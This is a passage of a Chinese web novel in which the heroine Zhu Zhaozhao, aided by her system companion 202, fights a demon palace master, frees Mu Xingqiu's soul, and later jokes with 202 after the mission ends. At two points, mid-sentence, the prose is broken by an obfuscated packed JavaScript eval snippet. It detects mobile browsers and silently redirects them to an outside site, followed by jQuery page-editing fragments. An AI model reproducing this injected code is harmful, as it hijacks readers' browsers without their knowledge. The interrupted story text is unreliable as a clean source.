思忖着,慕泽魈让自己冷静下来:“慕某多谢圣女关心。” “但圣女与其关心慕某身体,倒不如先想想如何全须全尾离开魔宫。” “至于其他的……” 他轻笑:“还是莫要肖想了罢。” 话音落,空气陷入死寂。 直到祝昭昭注视帷幔的目光,终于慢悠悠地移到慕泽魈脸上。 她语气轻快,仿若闲聊。 “我若非要肖想呢?” 脑中刺痛刹那剧烈,慕泽魈再压抑不住到达顶峰的杀意。 下一秒,数道漆黑魔气直/射祝昭昭面门。 202的尖叫声里,祝昭昭像是早有预感般轻灵跃起。 魔气被她踩在脚下:“宫主,突然出手可不是君子所为。” 本命剑握紧在掌心,祝昭昭反借魔气来势极速靠近慕泽魈。 再一剑横扫,直取他脖颈。 “雕虫小技。” 冷嗤一声睨了眼脖颈处的剑光,慕泽魈振袖,防护结界旋即在周身亮起。 长剑触上结界,发出刺耳的铿锵之声。猛朝后弓腰避开刺向自己的气刃,祝昭昭几个弹身跳离慕泽魈两尺范围。 “走得了么。” 慕泽魈冷哼,再次振袖。 黑色法阵倏地在祝昭昭脚下张开。 暗暗咬紧牙,她赶在法阵光芒升起的最后一刻伸出手,将本命剑一把掼在地上。 手腕一拧一收,剑光生生把法阵撕开条口子,祝昭昭抓住机会,闪身脱离而出。 慕泽魈抬手握拳,法阵飞快合拢。他再朝法阵一指,数道魔气升腾而起,化作漆黑藤蔓开始追踪祝昭昭。 “202。” 与魔气藤蔓缠斗的间隙,祝昭昭叫它。 不再是能够随便插科打诨的时间,202飞快响应:“主人我在。” “我需要为你做些什么?” 一剑将险些缠住自己脚腕的魔气斩断,祝昭昭盯着宫殿中央的慕泽魈:“我要你让他的精神,在不知不觉中放松。” “放松?” 202有些意外:“我以为主人你会问我能不能让他陷入幻觉。” “就像在洛水镇那时候一样。” 祝昭昭于是接过它的话:“所以你能。” 202:“好吧……其实我不能。” “那就不要废话,” 掌心多了道灵力,祝昭昭弹指将之射/向法阵:“只需要告诉我,能不能做到我的要求。” “理论上的话是能的,” 202飞快在光幕上计算:“但他的战斗经验比主人你的要高得多,所以哪怕我能让他精神放松,也未必能让主人你在和他的这场战斗里占到优势。” 祝昭昭哪能听不出它的言外之意:“未必?” “是不可能。”202实话实说。 祝昭昭极轻地点了下头:“我知道了。” 202:“那主人你……” “现在就开始。” 祝昭昭语调平静:“并且之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410117|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后你只需要做这一件事。” 想说什么最后又忍住,202快速在光幕上操作片刻。 随着光幕很快跳出一个界面,它飘忽着退开:“好了。” 想了想,202还是补充:“我这边会随时监测你们的情况,但主人你有事的话一定立即叫我。” ‘嗯’了声权当回答,祝昭昭一剑挥下。 魔气法阵破碎的崩裂声刺耳,漫天漆黑飞屑里,唯有她手中长剑雪亮:“宫主虽说修为不复当年,但制敌手段却依旧辛辣老练呢。” “昭昭佩服。” 被打碎的法阵碎片还未完全消散,慕泽魈冷笑:“能以剑破我法阵,圣女的手段之于我,也不遑多让罢。” “是么。” 祝昭昭笑笑:“昭昭却觉得,想拿到想要的东西,凭这点手段……” “还不够。” 炽烈的杀意与剧烈的头痛交缠着,让慕泽魈控制不住地烦躁:“哦?” “那圣女当如何?” 将他强压不适的反应收进眼底,祝昭昭挽了个剑花,将本命剑背在身后。 再张开另边掌心:“不如何,昭昭只是想……” “多用些方法罢了。” 话音落下的当口,她掌心碧色光芒大盛。 数颗滚圆的雕花翡翠铃铛出现其中。 快速默念开启口诀后,祝昭昭将铃铛朝空中一抛—— “去。” 翡翠铃铛跃进空中的瞬间,铃身立时多了两道极细的交叉金光。继而仿佛有只无形大手拨弄着它们般,令它们在慕泽魈周身附近无序漂浮。 只一眼,慕泽魈便认出那翡翠铃铛是什么:“寻魄铃?” 祝昭昭也不瞒他:“是。” “圣女好手笔。” “不敢当。” 祝昭昭言笑晏晏:“欲求目标,总需付些代价。昭昭只是……” “刚巧付得起罢了。” 说着她伸出食指,如演奏家挥舞指挥棒般轻巧一扬。 清越铃响顿时回荡在整座宫殿。 早在寻魄铃朝自己飞来时已经做好应对,慕泽魈将堪堪还能忍受的眩晕感强行按捺下去,对着离自己最近的一颗铃铛微屈起手指。 祝昭昭的剑锋却到得比他更快。 “铃声美妙,宫主不多听听?” 寻魄铃很快飘远,祝昭昭一剑挥开慕泽魈。 她话音轻快:“宫主若实在难受,不如尽早将不属于自己的东西还来。” “否则见宫主受折磨,昭昭亦忧心呢。” 慕泽魈冷哼一声。 四周帷幔顿时齐齐脱离殿顶,翻卷着,如红色巨浪般铺天盖地涌向祝昭昭。 “哎呀,想扰乱昭昭视线么。” 灵力催动寻魄铃响得更频,祝昭昭竖起手中长剑,另手并起两指,自下而上划过剑身。 长剑随着她动作愈加耀眼,直到两指脱离剑身的刹那,光华霎时大亮。 光华灭,祝昭昭身侧,也多了七柄由灵力幻出的银白长剑。 她轻挥手,长剑直直冲入帷幔中。 长剑撕裂帷幔,犹如白舟在红浪间不停穿行。操控灵力剑的同时,祝昭昭亦频频催动寻魄铃闪回在慕泽魈周身。 片刻后,她忽然眉头微挑。 极细微的表情变化,却被慕泽魈敏锐地捕捉到。 他轻笑,神情似嘲讽:“圣女缘何露出那副表情?” “是因为察觉到寻魄铃对慕某……” “不起作用了么?” 祝昭昭沉默。 只是寻魄铃的响声变得更加密集清脆。 慕泽魈见状顿觉一阵快意,脑海中的疼痛都似乎减轻不少:“没用的,圣女。” “方才你若把握机会及时离开,兴许还能留条性命。而如今……” 他说着,张开右手。 像是受到感召般,碎裂的帷幔打着旋,缓缓开始在他右手处汇拢,最终化成一柄暗红长剑。 挥手,长剑划出一道暗红弧光。慕泽魈剑指祝昭昭:“慕某却不准备让你离开了。” “是么。” 祝昭昭也唤回七柄灵剑:“那真是有些遗憾。” “不过宫主你可曾想过,除了振摇,寻魄铃还能如何发挥作用?” 如何发挥作用? 慕泽魈心底冷笑。 寻魄铃寻魄铃,自然是铃响才能寻魄。除了振摇,还能有什么方法让它发挥作用? 这古怪的圣女,不过是自知身落下风,巧言令色拖延时间罢了。 他思绪归拢之时,魔气也开始在长剑上游走。 “好吧。” 见状耸耸肩,祝昭昭语气随意:“既然宫主不愿答,昭昭就直说罢。” 她手指竖起在唇中:“那便是——” “爆破。” 琉璃碎裂之声,猛地炸响在慕泽魈耳边。 苦守的心神刹那失序,他悚然一惊,下意识就要扭头。 祝昭昭却已经欺身而上,来到他近前。 飘散的碧色碎片里,面前人的漆黑眼瞳中。 祝昭昭看着自己,又仿佛透过那紧缩的瞳孔,看见另一个世界。 下个瞬间,她跌落进一片虚空。 138. 正文完 一个翻滚平稳落地,祝昭昭抬手作张望模样—— “哇哦,好黑。” 不止黑,整片世界甚至让人找不到空间感。 明明脚下触感宣告着自己已经踩在地面,可深不见底的漆黑却告诉祝昭昭,她似乎更像是停滞在一个空间的中心。 “要不是穿梭空间习惯了,这会儿估计都得适应半天。” ‘啧啧’两声吐槽完,祝昭昭开始在精神空间里召唤202:“人在哪,赶紧出来。” “202?” 她等了许久,始终听不见回应。 “断联了啊……” 悄声嘀咕了两句,祝昭昭没再纠结这事。 毕竟维护员和系统断联这种情况说普遍不普遍,说少见,又也实在不算少见。 她前两天才在牌桌上听柳雨露说起,排第九的那位维护员执行任务时,突然和系统断了联络。 三天内没有主系统监控,这位第九维护员在位面世界手段尽出大杀四方,直接喜提任务提前完美结束。 那段时间,整个主系统半数的维护员,都疯狂表达对这位第九维护员的羡慕。 甚至有人拿她的工作头像当自己的,以期此等好事也降临在自己头上。导致主系统工作大群,一度只能以昵称来识别那帮维护员。 不过八卦讲述者柳雨露同志最后还是表示,以维护员与系统断联的几率来看,此等好事能否发生,主要还看维护员水平如何。 而比较遗憾的是,此事在前五十维护员里的发生几率实在低得令人发指…… 当时听闻八卦事件的祝昭昭:留下羡慕的泪水·jpg 如今亲历八卦事件的祝昭昭:我现在强得可怕·jpg 眨眨眼回过神,确认202不会出现在这片空间后,祝昭昭先点开手环查看时间。 再摸出一个懒人沙发扔在地上,接着抽出零食架子,停在沙发边。 最后,放大并移动手环投射出的光幕到正前方,找出之前没看完的八点档狗血电视剧。 自由落体式倒进沙发里,祝昭昭开始边吃零食边看电视。 一时间,寂静的无边黑暗里,光幕和祝昭昭发出的响动,成了唯一鲜活的存在。 祝昭昭不知道自己看了多久。 只知道她如愿等到了她想等到的人。 “我等你好久了。” 余光瞥见停在身旁的身影,祝昭昭喝了口可乐:“坐吗,我拿个沙发给你。” 说完不等身旁人回答,祝昭昭从精神空间里掏出另一个懒人沙发扔在地上。 一阵摩擦轻响后,人影坐进沙发里。 “喝不喝?” 视线并不离开光幕,祝昭昭拿起一罐可乐打开递给他。 接过可乐,慕行秋盯着手中红色的冰凉罐子片刻。 最后抿了一口。 “味道如何?” 终于转过脸,祝昭昭看着他。 少女被光幕点亮的眼眸里含着期待,慕行秋想了想,还是摇头:“不甚美妙。” 祝昭昭‘噗嗤’一声笑出来。 “这地方太黑,我怎么都找不到你。” 她指指光幕:“所以只好看看电视打发时间了。” “是我的错。” 微一颔首,慕行秋顺着祝昭昭手指的方向望:“什么是电视?” “你可以理解为留影石一样的东西。” “原来如此。”慕行秋点点头。 往沙发深处窝了窝,祝昭昭舒服地眯起眼,再朝慕行秋的方向歪了歪脑袋:“我给你说说这部电视讲的什么故事好不好。” 慕行秋看着她的侧脸:“好。” 重新将注意力放回光幕,祝昭昭道:“这电视剧讲的,是一个原本身为豪门贵族的男孩因为一场阴谋,被迫和父母生离死别,在外流浪。” “他很幸运,因为漂泊的他很快被人捡了回去;他又很不幸,因为捡他回去的人,同样心怀不轨。” 光幕里传来慷慨激昂的背景音,男主角翻身的热血台词夹杂其间,看得祝昭昭挑眉。 她话不停:“男主角就这样在一众各怀鬼胎的势力与人物中周旋成长,历经重重磨难,终于找到自己父母身亡的真相。” “最后,他击败了暗害自己一家三口的坏人,并为父母以及自己正名,光明正大地夺回了属于自己的东西。” 说完轻笑两声,祝昭昭问:“很老套,很无聊对不对?” 慕行秋没说话。 他不太懂什么叫‘老套’,也不知道‘无聊’是什么意思。 他只是觉得,虽然眼前少女娓娓道来的模样、轻声细语说的话,都很陌生。 却让自己移不开眼:“嗯。” “但他成功了。” 翻了下小推车,祝昭昭又递了瓶乌龙茶给慕行秋:“他击败了暗害自己的人,夺回了属于自己的东西。” “那么你呢?” 慕行秋无声抿了口茶水。 此时的剧情正演到反派被男主当众指认,惊慌失措的桥段。 他静静看着光幕。 看着反派随着男主角一件件拿出铁证而一败涂地,被千夫所指。 看着男主角在众人簇拥下,一脸正义地睥睨着犹如过街老鼠的反派。 “我出不去。” 直到剧里作威作福的反派被拖走那刻,他终于开口:“从神魂脱离躯壳来到此地后,我便一直在寻找能让神魂与躯壳建立联系的交织点。” “可慕泽魈狡猾,将那个点藏得太深,我始终找不到。” 祝昭昭点点头:“原来如此。” “那我带你出去好不好?” 她原本只是随口一说。 两周目,尤其是这段时间的相处让她自认对慕行秋的脾性还算了解。 作为一个谨慎而多疑的人,他轻信别人的可能性,无限趋近于零。 所以刚才那句话,祝昭昭更多是出于放松气氛的考虑说的。 因为她需要劝说慕行秋听从自己的建议。 她甚至已经想好什么话该在什么时候说,以及与之相配合的,要拿出什么东西,才能让慕行秋改变态度。 可脑内运转着的一切精心设计,都在慕行秋不假思索地说出那声‘好’时,戛然而止。 祝昭昭愣住。 好。 好什么? 空气顷刻落针可闻。 她盯着慕行秋,想从他神情里察觉出哪怕一点点伪装。 然而无论怎么看,她都没法从他脸上发现一丝假意。 可是为什么? 他为什么想也不想就答应了? 终于回过神来,祝昭昭几度张口欲言。 她应该趁热打铁。 她应该顺水推舟。 可最后,她却听见自己说:“……光幕不是留影石,电视剧也不是曾经发生过的事情的留影。” “我知道。” 你知道? 袖下指尖微动,祝昭昭再道:“这些吃的喝的,不是这个世界的东西。” “我知道。” “我们现在坐着的,也不是。” “我知道。” “我也不是这个世界的人!” 气冲冲地说完,祝昭昭瞪着慕行秋。 慕行秋亦注视着她,平静地说出了那三个字—— “我知道。” 这也知道?! 祝昭昭怒:“这你怎么可能知道!” “现在知道的。”慕行秋答。 祝昭昭顿时泄气。 重新看回光幕,她将下巴抵在膝上:“你不怕我伤害你吗。” 慕行秋的声音她在耳旁响起:“你会吗。” 没有看他,也没有回答。 祝昭昭只是漫无目的地猜,猜慕行秋说这话的时候,脸上应该写满了坦荡。 也是,一个想伤害自己的人,怎么可能费尽心思追到神魂空间里来呢。 正是因为清楚这点,慕行秋才这么有恃无恐吧。 放空着,祝昭昭开口:“我叫来了天玄山的长老和剑宗掌门,把所有事情厘清,和他们说了。” “他们会把问题处理好,所以你只需要从这里出去。” “出去之后,你就会像电视里的男主角一样,拿回一切属于你的东西,从此随心而活。” 慕行秋点头:“原来如此。” “那么出去之后,你想先去何处游历?” 空茫的眼神刹那聚焦,祝昭昭扭头。 正对他柔和却认真的视线。 她再次确认:“我?” “嗯。” 慕行秋也再次重复:“你想去哪。” “我们一起,去你想去的地方。” 刹那间,祝昭昭感觉心跳都空了一拍。 然而回过神,她却近乎仓惶地,躲开慕行秋的视线:“……走吧。” “我带你离开这。” 慕行秋静静看着祝昭昭逃也似的背影。 看着这抹无垠漆黑中唯一的色彩或走或跑,最后停在某一处。 “快来。” 趁着确定方位的间隙调整好状态,祝昭昭回头,向那个始终在自己不远处的身影招手:“出口就在这里。” 慕行秋缓步朝她走去。 嫌他动作太慢,祝昭昭干脆直接扯住他袖口,一把将他扯到自己近前。 再两手搭上他肩头推他:“走这么慢,等什么呢。” “快走快走,再不走——” 剩下的话没说完,她忽然咳了两声。 慕行秋于是偏过头:“怎么了?” “没事。” 祝昭昭深呼吸:“就是喉咙一下有点痒。” 喉咙痒? 轻不可察地皱了皱眉,慕行秋沉默。 半推半走着,两人很快停下。祝昭昭站在慕行秋身后指着前方:“看,就是这里。” 慕行秋望着眼前的无尽漆黑。 “你是不是在想要怎么做?” 祝昭昭预判到他的想法:“张开手。” 慕行秋依言照做。 下一秒,星点白光落雪般缀进他掌心。 光点逐渐汇聚,很快如水波般流淌起来,最终凝成一副弓箭。 “拿起它。” 祝昭昭说:“射/穿这座牢笼,夺回你的身体。” 慕行秋抬手。 架弓、搭箭,一气呵成,他箭指前方。 弓弦绷到极致,发出细微声响。祝昭昭瞧着他侧脸:“怕不怕失败?” 预料之中的,慕行秋摇头:“不会。” 祝昭昭于是问:“为什么。” 慕行秋答:“因为你让我相信。” “你会让一切,都变得和过去不再一样。” 祝昭昭先是一愣。 再接着,她笑起来,和慕行秋一同直视前方:“那么,” “穿破它。” 撕裂一切的箭矢带着尖锐啸声,一头扎进无尽的黑暗,那颤巍巍的雪亮光芒,仿佛随时都会被吞没。 却始终闪耀。 如烟火般,箭矢到达某个点时猛然炸开,化作极速铺开的白。一片朦胧光晕中,甚至已经隐约显现出外界的轮廓。 放下手,慕行秋看着白光,又像透过白光望着更远的地方。 去哪好呢。 他想。 听闻冰云谷的碎晶花很美,甚至比月清花更要美上几分。 她会喜欢吗? 明知道此时此刻,这样的想法有些不合时宜,慕行秋却无法控制。 也不想控制自己。 身侧的手只要再动一下,就能牵住身旁人的衣袖,他最后却只是站着,任由光芒如海浪般将自己淹没。 听见碎裂声的刹那,慕行秋察觉到自己的五感依次回归。 隐约地,他听见慕泽魈不可置信的怒吼。 怀揣对今后的期待,他睁开眼。 可视野清晰的那瞬,迎接他的,却是飞溅的血花。 血花之后,是一张再熟悉不过的脸。 祝昭昭。 她的胸口被长剑洞穿。 而剑柄,被他握在手中。 眼前的一切仿佛被无限拉长,慕行秋呆呆望着手,头脑彻底空白。 那个闯进他的世界,让他相信奇迹的少女。 他感受到她的生命力在飞速消失。 因为自己。 鲜血浸润握剑的手,又仿佛伸延进四肢百骸;本已控制住的魔气瞬间被重新点燃,慕行秋只觉得世界都开始染上鲜红。 却就在有什么东西即将崩溃的时候,一只手‘啪’地声握住他手腕。 理智顷刻回笼,慕行秋死死盯着那只手。 沾满鲜血的手顺着他手腕下滑,又在两只手交叠之时停了一下。 最后缓缓收回。 慕行秋抬头—— 那被自己一剑穿心的少女,正对着自己笑。 而她的食指,则状似无意地滑过嘴唇。 那是保密的意思。 下一秒,她闭上眼,整个人脱力朝地面跌落。 几乎是立刻便接住她,慕行秋落地的同时,一阵嘈杂声响从大门处传来。 天玄山、剑宗;长老、掌门、弟子……他面无表情地看着鱼贯而入的人们,看着他们脸上震惊的神色。 慕行秋忽然觉得很累。 ………… ……… …… * “主人主人!” 对门外由远至近的大声嚷嚷充耳不闻,祝昭昭慢悠悠将手中书翻页。 但202的反应显然不以祝昭昭的态度为转移。 “主人主人主人主人。” 快成一道灰影,它兴奋地冲进房间:“我们的任务评级出来啦!” “SS+!” 说完自己先尖叫一声,202整颗球都快乐地转圈圈:“谁能想到在维护员的位面身份宣告死亡的前提下,位面任务依旧能顺利完成。” “这简直就是奇迹!!” 激动到直接扑上来和祝昭昭脸贴脸,它星星眼:“现在外面都在好奇主人你究竟怎么做到的。” “我都因为这事成了大名人呢!” 脸被撞得歪到一边,祝昭昭终于放下书。 拍开贴在脸旁的202,她靠进椅背,说了从202进门后的第一句话。 “有人找你要签名?” 202差点当场狂喷机油:“我说了那么多,主人你就听见这一句吗?!” 语毕沉默一下,它补充—— “没有。” 祝昭昭:“……” 无人在意好吗? “哎呀都被主人你整跑题了!” 额间投射出光幕,202熟门熟路点进任务结算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415381|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 页面:“而且加上主人你先前的累计积分,这次任务结算积分下来后,你的排名会直接上升两个点!” “两个点哦两个点!” 它嘻皮笑脸地去拱祝昭昭:“怎么样主人,还好我们坚持把这个任务继续下去了吧,收获满满呀!” 祝昭昭面无表情:“那你有没有想过,如果不是你瞎指挥,我们可以一次就结算任务?” 202:流泪猫猫头·jpg “行了。” 伸出手指头戳202玩,祝昭昭问它:“月书师姐的事怎么样了,她什么时候过来?” 被戳得一晃一晃,202话都说得断断续续:“这你也要问我啊主人,你不是升职了吗,权限应该早就够了啊。” “自己看看不就完了。” 百无聊赖地扫了眼光幕,祝昭昭理直气壮:“今天通知栏公示,你刚从外面回来,问你当然比我自己查快。” “还是说你没去看?” 202不服气:“那我要是就没去看呢?” 祝昭昭一脸‘我就静静看你犟嘴’的表情:“所以你没去?” 一人一机大眼瞪小眼半天。 202最后举白旗:“好好好,我承认,我承认我去了还不行嘛。” “月书小姐姐她昨天就过来了。” 它切换光幕界面:“主系统分配了机器人给她,又给了她三个月培训期,这会儿正培训呢。” “三个月?” 祝昭昭有点意外:“我记得正常是五个月来着。” 202顿时跳脚:“我就说主人你肯定知道嘛!你都去看过了,干嘛还特意问我呢!” “看看,被我诈出来了吧!” 祝昭昭都无语笑了。 她抬手就电。 “问你什么就答什么,” 坐回椅背,祝昭昭换了个舒服姿势:“老是喜欢没苦硬吃。” 被电得在地上滚,202不忘犟嘴:“明明是主人你无理取闹……” 闻言眼皮都不抬,祝昭昭百无聊赖挑指甲。 “话说回来,昨天月书小姐姐来报道的时候,我顺便看了下那个位面。” 电击一结束,202立马弹射回祝昭昭身旁:“然后发现大反派好像不见了诶。” 它对这个发现表示很惊奇:“他跑哪去了,闭关了?” “也许吧。”祝昭昭随口。 “可是位面的闭关概念跟我有什么关系?”202不明白,“我为什么会找不到他?” “而且现在仔细想想,从主人你的位面身份死亡之后,一切都有点怪怪的。” 它开始大思考:“先不说当时大反派是怎么突然一下从黑化边缘理智回归的,就说主人你和我断联那段时间……” “你那时候,是和大反派在一起对吧?” 祝昭昭:“对,有问题?” “问题可大了!”202斜眼看她,“你们在里面做了什么?” 祝昭昭听得想笑:“能做什么?” “慕行秋从魔宫宫主手里夺回躯壳,你觉得我在其中做了什么?” “好吧……”被反问得蔫巴下来,202小声嘟囔,“那还不是因为大反派后期的行为乖得太诡异了。” “而且他现在还失踪了诶!” 202震声:“我们真的不需要针对这事儿做点什么吗?” 祝昭昭都奇了:“你想做什么?回去把他抓出来严刑拷打,质问他到底跑哪去了?” 202扭捏:“那倒也没有啦……” “没有就闭嘴。” 祝昭昭捏眉心:“主系统都没弹警告,你倒是先着急上了。” “想加班?” “哎呀主人你真是的,我就是问问而已嘛~”察觉到祝昭昭很可能来真的,顿感不妙的202极速变脸,“不要那么上纲上线好不好~” “对了对了。” 它转移话题:“主人你之前给我划的积分我已经兑换好东西了哦!” 祝昭昭也不戳穿它:“换了什么?” “嘿嘿。” 202明显兴奋起来:“主人你瞧好了啊——” “当当!” 定睛瞧了片刻,祝昭昭眨眨眼:“这是……” “拟态器!!” 202得意洋洋:“有了它,我就可以任意变化形态啦!!” “不是单纯模拟外形,而是真真切切能拥有所变化形态的全部功能哦!!” 它特别强调。 如果能做到完全拥有模拟形象的全部功能,那这个拟态器确实不错。 祝昭昭没再多说什么。 但她问了一个关键问题:“你用了多少积分?” 202想都不想就报了个数字。 哪怕心里已经有了大概预估,但听到确切数字,祝昭昭还是有点惊讶:“这已经能兑换五个插件还有剩了。” “对啊。”202点点头,“不过主人你划给我的积分数刚好!” 它调出拟态器界面:“所以为了表达我对主人你的谢意,我决定现在就拟一个帅哥出来为你比心~” 祝昭昭当场露出不加掩饰的嫌弃表情。 主要目的其实是炫耀的202对此完全没放在心上。 一门心思调整拟态形象,它边调边碎碎念:“等会儿再出去找628。” “让它之前老是跟我炫耀插件,看我这次让它羡慕死。” 然而202调得太入神,导致628的消息突然弹出的时候,它机械手条件反射地一抖了一下—— 光芒消失。一位标准的,中年秃头啤酒肚形象的男士出现在房间中央。 祝昭昭死鱼眼,意外又不意外的。 202可没她那么淡定。 “啊啊啊啊怎么会这样啊啊!” 两只胖手拍在脸颊把肉挤到一块,它崩溃:“我调的形象明明是超级大帅哥呀!!” 看着眼前的‘超级大帅哥’,实在按捺不住的祝昭昭结结实实翻了个白眼。 她刚想说些什么,腕上手环突然闪动起来。 是一条系统信息。 一条通知她马上有新人来她管辖的部门报道的消息。 但202没给她查看的机会。 脚下突然一重,祝昭昭低头,就见202已经抱住自己大腿。 它一边抱一边嚎:“主人你一定要帮帮我啊啊啊啊,不然一会儿628看到了会笑死我的啊啊啊啊!!” 祝昭昭脸都绿了。 门外忽然响起脚步声,但此刻的混乱让一人一机完全没注意到。 202的形象实在太过抽象,祝昭昭根本接受无能:“你松手!我都没看过说明书怎么帮你!” 202立刻:“那你现在看!!” 祝昭昭:“我不要!!” “我不管!!”202抱得更紧,嚎得也更大声了,“主人你不帮我我今天就烦死你!!” 祝昭昭彻底绷不住了:“那我先电死你!!” 一人一机拉扯得最白热化的时候,门框上方,信号灯闪了闪后忽然变绿。 紧接着,门缓缓打开—— 来者停在门前。 目光从正薅着人头发,瞪大眼望着自己的祝昭昭,缓缓移到被她薅着头发·涕泗横流·中年·秃头·啤酒肚男人形象的202身上,慕行秋挑眉。 “我是不是,应该换个时间来?”